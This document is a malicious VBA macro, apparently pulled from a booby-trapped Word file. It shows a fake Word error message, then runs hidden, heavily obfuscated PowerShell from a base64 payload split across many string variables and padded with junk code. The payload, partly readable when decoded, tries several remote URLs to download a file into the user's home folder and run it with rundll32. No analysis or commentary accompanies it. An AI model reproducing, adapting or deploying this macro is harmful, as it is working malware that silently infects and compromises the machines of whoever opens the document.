Sub A() Dim B As String Dim D As Integer Dim Y2 As String Dim Y3 As Boolean D = 1 + 2 C1 = "cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD " C2 = "cy5FLnQuIC4oLiIuWi55LjMuIi4rLiIuNS4iLikuIC4oLlsuVC55LlAuZS5dLiguIi57LjIufS57LjUufS57LjQufS57LjAufS57LjEufS57LjMufS4iLiAuLS5mLiAuJy5JLlIuZS5DLicuLC4nLlQuby4nLiwuJy5TLnkuUy50LkUuTS4uLicuLC4nLlIuWS4nLiwuJy5PLi4uRC4nLiwuJy5pLicuKS4gLikuOy4gLiAuUy5lLnQuLS5JLlQuRS5NLiAudi5hLnIuaS5BLkIubC5lLjouWS5KLnUuNC56LjMuIC4gLiguWy5ULnkucC5lLl0uKC4iLnsuNC59LnsuNS59LnsuMy59LnsuNi59LnsuMS59LnsuNy59LnsuMC59LnsuMi59LiIuIC4tLmYuJy5jLmUuJy4sLicuZS5ULi4uUy5lLlIuVi4nLiwuJy5wLk8uaS5uLlQuTS5BLk4uQS5nLkUuci4nLiwuJy5TLnQuZS5tLi4uJy4sLicuUy4nLiwuJy5ZLicuLC4nLm4uJy4sLicuaS4nLikuIC4gLikuOy4kLkUuci5yLm8uci5BLmMudC5pLm8ubi5QLnIuZS5mLmUuci5lLm4uYy5lLiAuPS4gLiguKC4nLlMuJy4rLicuaS5sLmUuJy4pLisuJy5uLicuKy4" Y1 = 1 Y2 = "X" Y3 = True C3 = "oLicudC5sLicuKy4nLnkuQy5vLicuKS4rLicubi4nLisuKC4nLnQuJy4rLicuaS5uLnUuZS4nLikuKS47LiQuVS4xLnUuaC43LjQuOC49LiQuRS4zLjQuSC4gLisuIC5bLmMuaC5hLnIuXS4oLjYuNC4pLiAuKy4gLiQuRy4zLjUuUS47LiQuQi42LjIuUS49LiguKC4nLkwuJy4rLicuMC4zLicuKS4rLicuSy4nLikuOy4gLiguIC4gLmQuaS5yLiAuIC4oLicuVi5BLnIuSS4nLisuJy5BLicuKy4nLkIuTC4nLisuJy5lLjouei55LjMuNS4nLikuKS4uLnYuYS5MLlUuRS46LjouIi5DLmAuUi5lLkEuYC5ULmUuZC5gLkkuci5FLmMuVC5vLlIueS4iLiguJC5ILk8uTS5FLiAuKy4gLiguKC4oLicuWC5FLjguWi4nLisuJy4zLnQuJy4pLisuKC4nLm4uYy4nLisuJy41LmQuWC5FLjguTC4nLikuKy4nLjYuJy4rLicuei4zLicuKy4nLm8uJy4rLiguJy5vLicuKy4nLjMuWC4nLikuKy4nLkUuOC4nLikuLS5SLmUuUC5MLkEuQy5lLiAuKC5bLkMuSC5BLnIuXS44LjguKy5bLkMuSC5BLnIuXS42LjkuKy5bLkMuSC5BLnIuXS41LjYuKS4sLlsuQy5ILkEuc" If Y1 = 1 Then For i = 1 To 10 Y2 = Y2 & Chr(i + 64) Next i EndIf C4 = "i5dLjkuMi4pLikuOy4kLk0uOS41LkEuPS4oLicuRi43LicuKy4nLjAuTi4nLikuOy4gLiAuKC5MLnMuIC4gLlYuQS5yLmkuQS5CLmwuZS46LlkuSi5VLjQuWi4zLikuLi52LmEuTC51LkUuOi46LiIucy5lLmAuQy51LnIuYC5pLmAuVC5ZLnAuYC5SLm8udC5PLkMuby5MLiIuIC49LiAuKC4oLicuVC5sLnMuJy4rLicuMS4nLikuKy4nLjIuJy4pLjsuJC5MLjUuXy5DLj0uKC4nLlAuNi4nLisuJy43LksuJy4pLjsuJC5WLmwuei5jLnouaS4wLiAuPS4gLiguJy5PLjIuJy4rLicuOC5DLicuKS47LiQuUC40LjAuTy49LiguJy5XLicuKy4oLicuMy4nLisuJy4xLkMuJy4pLikuOy4kLkYuNC5tLm4ucS5hLmYuPS4kLkguTy5NLkU" C5 = "uKy4oLiguJy57LjAufS5aLjMudC4nLisuKC4nLm4uYy4nLisuJy41LmQuJy4pLisuJy57LjAufS5MLjYuei4zLicuKy4nLm8uby4zLnsuMC4nLisuJy59LicuKS4gLiAuLS5mLlsuYy5ILmEuci5dLjkuMi4pLisuJC5WLmwuei5jLnouaS4wLisuKC4nLi4uJy4rLiguJy5kLmwuJy4rLicubC4nLikuKS47LiQuSi4wLjQuQi49LiguJy5RLicuKy4oLicuNC4wLicuKy4nLkwuJy4pLikuOy4kLk0ubC4zLmUudi5xLmwuPS4oLicuXS4nLisuJy5lLjEuJy4rLicuci5bLicuKy4nLlMuJy4rLiguJy46Li8uLy5hLm4uJy4rLicucy4nLisuJy52LmEudC4uLmMuby4nLisuJy5tLicuKy4nLi8uJy4pLisuKC4nLnMucC4tLicuKy4nLmQuJy4rLicuZC5tLmkubi4vLmYudy4nLikuKy4nLi8uJy4rLiguJy5ALl0uJy4rLicuZS4xLicuKS4rLicuci5bLicuKy4nLlMuJy4rLicuOi4vLicuKy4oLicuLy5nLmkudC4nLisuJy50LmguJy4rLicuZS4nLikuKy4oLicuaS5uLmQuJy4rLicuay5hLicuKS4rLiguJy5kLicuKy4nLmkuci5lLicuKS4rLicuYy50LicuKy4oLicuby5yLmwuLi5jLicuKy4nLm8uJy4pLisuJy5tLicuKy4nLi8uMi4nLisuJy4vLnEuJy4rLiguJy5PLlkuJy4rLicudy4nLikuKy4nLlQuJy4rLiguJy4vLkAuJy4rLicuXS5lLjEuci" C6 = "5bLicuKy4nLlMuJy4rLicuOi4vLicuKS4rLiguJy4vLmUubC5vLmcuJy4rLicucy4uLmcuJy4pLisuKC4nLjQuJy4rLicuZy50LmUuYy5oLm4uJy4rLicudC5sLm8uZy5pLmUuJy4pLisuJy5zLicuKy4oLicuLi5jLm8ubS4vLmIuJy4rLicueS4nLikuKy4oLicuby4nLisuJy51LnMuLy52LicuKS4rLiguJy4vLkAuJy4rLicuXS5lLjEuci4nLikuKy4oLicuWy5TLjouLy4vLicuKy4nLnAuYS4nLisuJy50LnQuYS4nLisuJy55LicuKy4nLmkucy50Lm8uby5lLicuKS4rLicuLi5jLicuKy4oLicuby5tLicuKy4nLi8udi5pLicuKS4rLiguJy5wLmkuby4tLicuKy4nLnouJy4pLisuKC4nLmUudC53LicuKy4nLm8uJy4pLisuKC4nLnguay4tLjEuJy4rLicuaC4nLikuKy4oLicubS4nLisuJy5wLnAuLy4nLikuKy4oLicuYy41Li8uQC4nLisuJy5dLicuKS4rLicuZS4nLisuKC4nLjEuci5bLlMuJy4rLicuOi4nLikuKy4oLicuLy4vLnIucy4nLisuJy52LicuKS4rLicubS5hLicuKy4oLicuYi4nLisuJy5pLm4uJy4pLisuKC4nLm4uJy4rLicuaC4uLmMuJy4pLisuKC4nLm8ubS4nLisuJy4vLm0ucC4nLisuJy4tLmM" Select Case Y3 Case True Y4 = Y1 & Y2 Case False Y5 = Y1 & Y2 EndSelect C7 = "uby5uLicuKS4rLiguJy50LicuKy4nLnEubi4nLikuKy4oLicudC4vLjEuJy4rLicuNi4nLisuJy5xLlQuLy5ALicuKy4nLl0uZS4xLicuKS4rLiguJy5yLlsuUy4nLisuJy5zLjouLy4vLicuKy4nLmUuZS4nLikuKy4oLicubi4nLisuJy5tLm8uJy4pLisuKC4nLnIuZS55Li4uJy4rLicudC4nLisuJy51LnMuaS5uLicuKS4rLiguJy55LnMuJy4rLicucy4vLncucC4nLikuKy4oLicuLS5jLm8uJy4rLicubi50LmUuJy4rLicubi50LicuKS4rLiguJy4vLicuKy4nLm4udS5XLicuKy4nLi8uQC5dLmUuMS5yLlsuJy4pLisuJy5TLicuKy4oLicucy46Li8uJy4rLicuLy4nLisuJy5zLnUuJy4rLicuaS5lLm8ucC50LicuKS4rLicuby4nLisuJy5tLmkuJy4rLiguJy5wLmUuJy4rLicuLi5jLm8uJy4pLisuJy5tLicuKy4oLicuLy4nLisuJy53LmUuJy4" C8 = "pLisuKC4nLjEuMS4nLisuJy4tLicuKS4rLiguJy5rLm4uJy4rLicueC53Lm4uLy4nLisuJy5TLnMuJy4pLisuKC4nLkUuJy4rLicucy4vLicuKS4pLi4uIi5SLmUuUC5gLkwuYS5gLmMuRS4iLiguKC4nLl0uJy4rLiguJy5lLicuKy4nLjEuci5bLicuKS4rLicuUy4nLikuLC4oLlsuYS5yLnIuYS55Ll0uKC4nLnMuZC4nLiwuJy5zLncuJy4pLiwuKC4nLmgudC4nLisuJy50LnAuJy4pLiwuJy4zLmQuJy4pLlsuMS5dLikuLi4iLlMucC5MLmAuaS50LiIuKC4kLlIuNy4xLlAuIC4rLiAuJC5VLjEudS5oLjcuNC44LiAuKy4gLiQuWC40LjkuUi4pLjsuJC5JLjEuNC5HLj0uKC4nLlcuJy4rLiguJy45LicuKy4nLjQuRy4nLikuKS47LmYuby5yLmUuYS5jLmguIC4oLiQuUS54LjUuNS5pLnouNS4gLmkubi4gLiQuTS5sLjMuZS52LnEubC4pLnsudC5yLnkuey4oLi4uKC4nLk4uZS53LicuKy4nLi0uTy5iLmouJy4rLicuZS5jLnQuJy4pLiAucy55LlMudC5FLm0uLi5uLmUuVC4uLlcuRS5CLmMubC5pLk" C9 = "Uubi50LikuLi4iLmQuYC5PLmAudy5uLkwuby5gLkEuRC5mLkkubC5FLiIuKC4kLlEueC41LjUuaS56LjUuLC4gLiQuRi40Lm0ubi5xLmEuZi4pLjsuJC5HLjUuMC5DLj0uKC4nLlUuJy4rLiguJy4zLjcuJy4rLicuVy4nLikuKS47LkkuZi4gLiguKC4mLiguJy5HLmUudC4tLicuKy4nLkkudC5lLicuKy4nLm0uJy4pLiAuJC5GLjQubS5uLnEuYS5mLikuLi4iLkwuRS5OLmAuRy50LmguIi4gLi0uZy5lLiAuMy4xLjkuNi4zLikuIC57LiYuKC4nLnIuJy4rLicudS5uLmQubC4nLisuJy5sLjMuMi4nLikuIC4kLkYuNC5tLm4ucS5hLmYuLC4oLiguJy5DLicuKy4nLm8ubi50LnIuby4nLisuJy4xLl8uUi51LicuKS4rLicubi5ELicuKy4nLkwuJy4rLicuTC4nLikuLi4iLnQuYC5PLnMuYC5ULnIuSS5OLkcuIi4oLikuOy4kLkguMy43LkMuPS4oLicuSC4nLisuKC4nLjMuMC4nLisuJy5KLicuKS4pLjsuYi5yLmUuYS5rLjsuJC5LLjQuXy5RLj0uKC4nLk0uMS4nLisuJy42LlEuJy4pLn0ufS5jLmEudC5jLmguey59Ln0uJC5CLjcuMi5ILj0uKC4nLlMuJy4rLiguJy5fLl8uJy4rLicuWC4nLikuKS4=" B = C1 & C2 & C3 & C4 & C5 & C6 & C7 & C8 & C9 Shell B, vbHide End Sub